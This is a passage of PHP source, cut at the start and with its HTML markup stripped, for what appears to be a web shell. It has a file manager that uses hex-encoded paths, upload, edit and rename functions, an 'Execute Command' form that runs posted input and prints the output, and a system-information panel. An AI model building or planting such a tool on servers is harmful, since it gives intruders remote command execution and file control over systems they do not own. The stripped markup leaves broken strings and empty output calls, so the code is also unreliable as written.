';
$ps = preg_split("/(\\\\|\/)/", $this->currentPath);
$parts = [];
foreach ($ps as $k => $v) {
if ($k == 0 && $v == "") {
$parts[] = "~";
continue;
}
if ($v == "") continue;
$link = '?d=';
for ($i = 0; $i <= $k; $i++) {
$link .= stringToHex($ps[$i]);
if ($i != $k) $link .= "2f";
}
$parts[] = "" . htmlspecialchars($v) . "";
}
echo implode('/', $parts);
echo '
';
}
private function showToolbar(): void
{
$d = stringToHex($this->currentPath);
echo '';
}
private function showFileManager(): void
{
echo 'File Manager
'; $this->showPathNavigation(); $this->showToolbar(); echo '| Name | Actions | Size | Type | Perms | Owner | Modified |
|---|---|---|---|---|---|---|
| — | " . getFileType($fullPath) . " | " . getFilePermissions($fullPath) . " | " . getOwnerGroup($fullPath) . " | " . getLastModified($fullPath) . " | ||
| " . formatFileSize(filesize($fullPath)) . " | " . getFileType($fullPath) . " | " . getFilePermissions($fullPath) . " | " . getOwnerGroup($fullPath) . " | " . getLastModified($fullPath) . " | ||
View: ' . htmlspecialchars(basename($file)) . '
Edit: ' . htmlspecialchars(basename($file)) . '
Rename: ' . htmlspecialchars(basename($old)) . '
Create File
Create Folder
Upload File
Execute Command
'; if (isset($this->post['execute']) && $this->post['execute'] !== '') { echo '' . htmlspecialchars(getFunctionalCmd($this->post['execute'])) . ''; } echo '
System Information
';
foreach ($infoItems as $k => $v) {
echo '';
}
echo '
' . htmlspecialchars($k) . '
' . htmlspecialchars((string)$v) . '